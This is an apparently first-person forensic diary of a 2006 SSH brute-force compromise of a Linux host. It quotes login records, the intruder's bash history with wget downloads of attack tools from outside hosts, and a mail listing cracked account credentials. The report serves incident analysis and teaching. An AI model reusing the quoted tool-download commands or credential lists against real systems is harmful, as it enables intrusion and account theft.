bookmarks     readme     tools

The Forensic Diary: A story of a day

This report gives the detailed proceedings of the forensic, post incident analysis of the host `'(herein referred to as: victim). Victim has an ip address 202.Y.X.210, and belongs to the NET Corporation here at Bangalore. It has been confirmed from the evidence gathered, that the victim was compro- mised and was seized by the unknown (herein referred to as: sub- ject), for considerably long time with an impressive stealth to it. It is also clear, how the subject broke into the victim in the first place. The term `subject', by its nature, might convey a message that the unknown is the same single identity. But please be warned, it may not be quite so. If considered single, the follow- ing report provides just a hint about the expertise and prosper- ity of the subject in her possibly evil intentions; Otherwise it leaves absolutely no boundary to ones imagination, to speculate about the wilderness of the Internet. Prologue -------- Monday, November 27 2006. When, I was first informed about the incident and summoned for the action. I was a bit skeptical about the seriousness of the matter, and about all that was being said, and judged around me. Though, I did not completely disre- gard the possibility of a serious breach, it was partly because of the vagueness of the information. I was also told that, since the discovery of the symptoms of a possible breach, the victim was once shutdown, and restarted again, this time off the net- work, like an isolated island. At the scene ------------ Thursday, November 30 2006. Two machines, the victim and its co host, named 202.Y.X.211), were running `Fedora Core 4'. An excellent Desktop GNU/Linux distribution from Red- hat(see: They were sitting comfort- ably, like two copassengers on an already crammed wooden seat, crowded with a network switch, a spike buster, empty mouse pads, two mice misplaced, and the spidery net of wires & cables to sur- round it all. I caught hold of a white keyboard, and instinctvely ran the `last' command to see which users did login to the victim, and from where on earth did they do it. `last' is a very useful Linux command, that shows all the users who did login to the machine, till date in the current month (November 2006), along with the IP address of the remote host from where they did it, at what time they did login and at what time did they logout. All this infor- mation(of current month) is usually stored in a precompiled `/var/log/wtmp' file. An excerpt of the output of the command is shown below(see: [1]). -1- # last +------+-------------+------------+---------+----------+ | User | Remote host | Date | Time in | Time out | +------+-------------+------------+---------+----------+ |root | :0.0 | Thu Nov 30 | 11:44 | still in | |root | tty1 | Mon Nov 27 | 11:40 | down | |guest | 172.Y.X.192 | Mon Nov 27 | 01:13 | 01:34 | |guest | 172.Y.X.86 | Sun Nov 26 | 22:09 | 01:09 | |guest | 172.Y.X.248 | Sun Nov 26 | 03:03 | 20:29 | | ... | . | . | . | . | |guest | 86.Y.X.26 | Fri Nov 17 | 18:25 | 19:18 | |guest | 172.Y.X.52 | Fri Nov 17 | 15:41 | 15:46 | |root | tty1 | Wed Nov 15 | 12:02 | 16:58 | |root | tty2 | Wed Nov 15 | 11:59 | down | |guest | 172.Y.X.80 | Wed Nov 15 | 02:09 | 02:11 | |guest | 172.Y.X.150 | Tue Nov 14 | 02:30 | 03:08 | | ... | . | . | . | . | |guest | 86.Y.X.26 | Fri Nov 3 | 01:10 | 05:43 | |guest | 86.Y.X.26 | Wed Nov 1 | 18:41 | 20:53 | +------+-------------+------------+---------+----------+ As can be seen above, the victim was remotely accessed by only guest user, that too from several different hosts, belonging to different classes of network. There are mainly four classes of computer IP address, class-A, class-B, class-C, and class-D. There is also a class-E, but it is reserved address class. The addresses seen above belong to the class-A(ex: 86.Y.X.26) and class-B(ex: 172.Y.X.150) network. For more information about IP address classification see: ful_network. This visibly strange output of the `last' command puzzled me; And I casually asked "Whom do they(those IPs) belong to?" "Are they allowed to access the victim??" and, was almost dumbstruck to hear the reply, "No, I don't know!" said one of the victim administrator. At that moment, thought of a real nasty compromise, a hack, made an electric wave of shudder pass through my spine. I asked them to find information about those IPs and quickly issued the command `service --status-all | grep -i running', to see which are all Linux services running on the victim. The output had the same chilling effect on me. Almost all(24 in count) the services were running. The administrators had not bothered to shut them off. Nonetheless, though I didn't find anything suspicious running on the victim, I could not let, the thought of a trojaned service running on the victim, leave my mind. An output of the above com- mand is shown below -2- # service --status-all | grep -i running acpid (pid 2092) is running... atd (pid 2342) is running... auditd (pid 1793) is running... ... sendmail (pid 7668 7662) is running... sshd (pid 2202) is running... syslogd (pid 1735) is running... klogd (pid 1737) is running... xfs (pid 2327) is running... xinetd (pid 2211) is running... At this point, about 11:30 in the morning, surrounding was warm, though AC was doing its best to keep it cold. Occassionlly, someone would peep through the door to see what we were doing, some even made it a point to come and ask "Hey, what happened?" "What are you doing??" perhaps they needed a topic to dissect over a coffee table. For them everything was normal, as usual, it was bright sunny Thurs- day morning at the office. Everybody seemed to enjoy it as though nothing had happened. I looked at the victim, and suddenly my senses seemed to come back from a distant world. I recollected my thoughts, my mind, and tried to prepare myself for what, I was quite convinced by now, was a compromise. Someone was actually controlling the victim host, which now I found pale and half dead. I typed the # su - guest command to switch my user id, and thus my privileges, from root to guest. I was greeted with an intuitive bash prompt, showing `guest' my new user name, `net1' the victims first name, a tilde(~) sign representing my home directory, and a dollar($) at the end, signifying my reduced privileges. I found it glorious though, as if I was the subject controlling the victim, from some other end of the earth, using this very prompt. [guest@net1 ~]$ _ I issued the `history' command to see the bash history, listing all the commands that the subject had executed on the victim over time. `history' is an internal bash command which shows this list reading from the `.bash_history' file, hidden under the home directory of a user, `guest'(the subject). The screen quickly scrolled down with commands, and I, least expect- ing to see any useful output, was instantly overwhelmed by the joy of seeing all the commands that subject had executed, right in front of my eyes. Over 900 in count. I readily understood the -3- strength and value of this seemingly trivial shell function, and appreciated bash for it. An excerpt from the output of the his- tory command is shown below(see: [2]). [guest@net1 ~]$ history 1 w 2 cat /proc/cpuinfo 3 cd /tmp 4 wget 5 wget 66.Y.X.68/black_love2001/naroot/ssh22.tar.gz 6 wget 7 wget 81.Y.X.134/.x/wheley.tgz 8 cd /var/tmp/shit 9 ./a 129.21 10 ./scan 80.129 11 ./a 80.129 12 nmap 200.Y.X.11 ... 910 ./go 219.9 911 ./go 219.10 912 ls I was shocked by what I had just seen. It was day light clear to everyone of us that the subject had successfully broke into the victim. The subject did download her evil, but bril- liantly crafted tools, and was leisurely scanning the other net- works. The intentions and objectives behind such scans are invariably varied, and are often malicious. Though the subject was careful enough to delete her tools after their use, it seems she completely overlooked the possibility of being seen by some- one, and being thrown out like a passenger without ticket travel- ling first class. The subject missed to destroy her traces, from the bash history and the ssh login history. The tools used were downloaded using `wget'. A yet another extremly powerful GNU tool, used as a network downloader, see: ware/wget. The tools downloaded include, ssh2, network scanners, password cracker programs, and few more. I felt dreaded by the thought, what if the victim network had links to our internal network? But, soon I felt relieved, as it was not possible by using the victim. By this time, the clock showed 13:12 hrs, the lunch time. We decided to have lunch break, and come back as soon as possible. Post lunch, all gathered at the scene by 14:05 hrs. I was curious to know, just how long the subject was using the victim. When did she *first* break into the victim? I again issued the `last' command, but this time with its `-f' option, which lets you specify the file you want to see. I knew, Linux maintains last one months login records in a file `/var/log/wtmp.1'. Every month, the `/var/log/wtmp.1' file is overwritten by the last -4- months `wtmp' file and new wtmp is compiled for the current month, as `/var/log/wtmp'. So I typed the command, and was pleased to see the result. An excerpt of the output is shown below(see: [3]). [guest@net1 ~]$ last -f /var/log/wtmp.1 | less +-------+-------------+------------+---------+----------+ | User | Remote host | Date | Time in | Time out | +-------+-------------+------------+---------+----------+ |guest | 86.Y.X.26 | Wed Nov 1 | 01:13 | still in | |guest | 86.Y.X.26 | Sun Oct 29 | 22:54 | 22:56 | | ... | . | . | . | . | |guest | 86.Y.X.26 | Tue Oct 24 | 17:54 | 18:22 | |guest | 80.Y.X.11 | Tue Oct 24 | 02:00 | 02:55 | |guest | 172.Y.X.9 | Tue Oct 24 | 00:49 | 04:52 | |guest | 202.Y.X.210 | Mon Oct 23 | 21:01 | 21:01 | |guest | 80.Y.X.11 | Mon Oct 23 | 20:22 | 22:47 | |guest | 80.Y.X.11 | Mon Oct 23 | 02:12 | 02:13 | |guest | 80.Y.X.54 | Mon Oct 23 | 02:10 | 10:41 | | ... | . | . | . | . | |root | tty3 | Mon Oct 16 | 16:42 | 17:17 | |root | tty3 | Fri Oct 13 | 12:21 | 12:22 | |root | tty1 | Fri Oct 13 | 12:20 | still in | |reboot | system boot | Mon Oct 9 | 13:17 | - | +-------+-------------+------------+---------+----------+ So, the first breakin by the subject was observed on `Monday, October 23, 2006' from a remote host 80.Y.X.54. Also as can be seen, the subject did several different guest logins, the same day and the day after, from several different remote machines. One of us tried to find out who these IPs belong to and got the following +------------+-------------------------+-------------+ | IP | Organisation | Country | +------------+-------------------------+-------------+ |172.Y.X.97 | America online (AOL) | Dulles, USA | |172.Y.X.205 | America online (AOL) | Dulles, USA | |172.Y.X.178 | America Online (AOL) | Dulles, USA | |172.Y.X.9 | America Online (AOL) | Dulles, USA | |172.Y.X.239 | America Online (AOL) | Dulles, USA | |194.Y.X.181 | Fornix | Romania | |80.Y.X.54 | Systemykf | Poland | |80.Y.X.11 | Telemobil-SA | Poland | |86.Y.X.26 | Romtelecom Data Network | Romania | |193.Y.X.204 | Canad Systems Network | Romania | |72.Y.X.150 | Road Runner HoldCo | USA | |8.Y.X.66 | Level 3 Communications | USA | +------------+-------------------------+-------------+ * Sources: * * * * * -5- The treasure of the subject's deeds was found, and found wide open. Revealing all its wealth to the whole of the world. Now the only thing remained mystery was, the answer to the big "HOW...?". How...? Just how on earth did she(the subject) managed to break in?? Everybody was thinking their way to solve the mystery. I was con- templating my next command to run. I was thinking of checking the Linux system logs, hoping to get some clue of the next step. When, suddenly one of us got up, and he impulsively typed `mail' on the command prompt, before anybody could say anything, he hit the `Enter' key. But, that was exactly what was needed. The sys- tem had been running `syslog', and `sendmail'. Once again, every- thing opened in front of us. He had hit exactly the right keys. List of more than 50-60 mails scrolled down on the screen. We all started reading mails received by guest. All of them were warning messages from the with the subject [guest@net1 ~]$ mail ... From: Subject: Warning: could not send message for past 4 hours. ... Apparently, the subject had tried to send mails from guest to some yahoo id with the following subject and body, because she thought that the system must be able to send mails, as sendmail was running. But little did she know that It was not configured, what a pity! All the messages had the same id and similar message contents. From: guest To: Subject: Lame Gang Us Root michael:michael:217.Y.X.109 admin:password:217.Y.X.233 DUP sales:sales:217.Y.X.113 DUP david:david:217.Y.X.113 sales:sales:217.Y.X.113 test:test:217.Y.X.57 Now we decided to read mails received by the `root' user, as sys- log regularly sends logs, through sendmail, to the root user. I switched the window using `Alt+Tab' to go to the root shell, shining with that glorious hash(#) prompt, indicating `root' -6- user. I did not run `mail' this time. I knew, on Linux, the SMTP daemon, the sendmail service stores the users mail in `/var/spool/mail/$USER' file, where $USER is the name of the logged in user, in this case the `root'. I typed the command `less /var/spool/mail/root', and was not really surprised to see the result. All the messages were more or less of the same kind. They were all system logs, pam_unix logs, gdm log, the disk usage logs, sshd logs, etc. Early in the mail file, we saw a message dated Fri, July 21 2006. It was from to and con- tained sshd logs, which looked like, were generated because of a brute force attack. An excerpt of the mail is shown below. # less /var/spool/mail/root From Fri Jul 21 04:03:14 2006 Return-Path: Date: Fri, 21 Jul 2006 04:02:34 +0530 From: root Message-Id: <> To: Subject: LogWatch for Status: O ################### LogWatch 6.0.1 (02/24/05) #################### Processing Initiated: Fri Jul 21 04:02:03 2006 Date Range Processed: yesterday Detail Level of Output: 10 Type of Output: unformatted Logfiles for Host: ################################################################## --------------------- pam_unix Begin ------------------------ crond: Sessions Opened: root: 458 Time(s) sshd: Authentication Failures: unknown (221.Y.X.183): 101 Time(s) root (221.Y.X.183): 24 Time(s) root (202.Y.X.184): 3 Time(s) ... root (211.Y.X.79): 3 Time(s) ftp (221.Y.X.183): 1 Time(s) mail (221.Y.X.183): 1 Time(s) operator (221.Y.X.183): 1 Time(s) ... root (218.Y.X.205): 1 Time(s) unknown (201.Y.X.50): 1 Time(s) Invalid Users: Unknown Account: 124 Time(s) ---------------------- pam_unix End ------------------------- -7- --------------------- SSHD Begin ------------------------ Didn't receive an ident from these IPs: 202.Y.X.44: 1 Time(s) 203.Y.X.70: 1 Time(s) 210.Y.X.251: 1 Time(s) 217.Y.X.149: 1 Time(s) 221.Y.X.183: 1 Time(s) 83.Y.X.26: 1 Time(s) Failed logins from these: a/password from ::ffff:221.Y.X.183: 1 Time(s) aa/password from ::ffff:221.Y.X.183: 1 Time(s) admin/password from ::ffff:202.Y.X.184: 2 Time(s) admin/password from ::ffff:211.Y.X.79: 2 Time(s) admin/password from ::ffff:221.Y.X.183: 1 Time(s) administrator/password from ::ffff:221.Y.X.183: 1 Time(s) alexander/password from ::ffff:221.Y.X.183: 1 Time(s) alexandre/password from ::ffff:221.Y.X.183: 1 Time(s) alin/password from ::ffff:221.Y.X.183: 1 Time(s) angel/password from ::ffff:221.Y.X.183: 1 Time(s) artwork/password from ::ffff:202.Y.X.44: 1 Time(s) asdk/password from ::ffff:202.Y.X.44: 1 Time(s) b/password from ::ffff:221.Y.X.183: 1 Time(s) bb/password from ::ffff:221.Y.X.183: 1 Time(s) bianca/password from ::ffff:221.Y.X.183: 1 Time(s) bind/password from ::ffff:221.Y.X.183: 1 Time(s) c/password from ::ffff:221.Y.X.183: 1 Time(s) ... microsoft/password from ::ffff:221.Y.X.183: 1 Time(s) mike/password from ::ffff:221.Y.X.183: 1 Time(s) nero/password from ::ffff:221.Y.X.183: 1 Time(s) nokia/password from ::ffff:221.Y.X.183: 1 Time(s) o/password from ::ffff:221.Y.X.183: 1 Time(s) production/password from ::ffff:202.Y.X.44: 1 Time(s) prueba/password from ::ffff:221.Y.X.183: 1 Time(s) q/password from ::ffff:221.Y.X.183: 1 Time(s) ... y/password from ::ffff:221.Y.X.183: 1 Time(s) yy/password from ::ffff:221.Y.X.183: 1 Time(s) z/password from ::ffff:221.Y.X.183: 1 Time(s) zz/password from ::ffff:221.Y.X.183: 1 Time(s) ... ---------------------- SSHD End ------------------------- Everyone was dumbstruck by this display. I tried to reason the fact that, since July, the 21'st 2006, the subject was attempting to get into the victim. What incentive did she have, Why would she try so hard, what were her intentions. I scrolled through the entire mail file, all the messsages were equally same, with exactly similar log entries. The mail which came on October 24 2006 had the log of 19 successful guest logins from 7 different machines across the globe. By this time the clock showed 16:16hrs, and everthing seemed perfectly in place. There was nothing much to explore further. We were tired from our expedi- tion, and decided to break. -8- Epilogue -------- We concluded that, the victim was first compromised on Octo- ber 23 2006 by the subject, possibly using a brute force attack on the ssh daemon. She had successfully guessed the guest user's password, and had happily logged in. She then downloaded network scanners, password crackers, etc. on the machine. A closer inspection of files left behind by the unaware subject revealed her modus operandi. She was scanning for port 10000, the Webmin service. Webmin recently had an arbitrary file disclosure vulner- ability(See: So, she was looking for the vulnerable Webmin services running in the Internet; Exploiting those machines to get the password files. Then she ran password cracker programs on them and tried to mail the cracked accounts to a Yahoo-mail address. For more than a months period the victim was in a compromised state, and no one noticed it. By: P J P Ramkumar G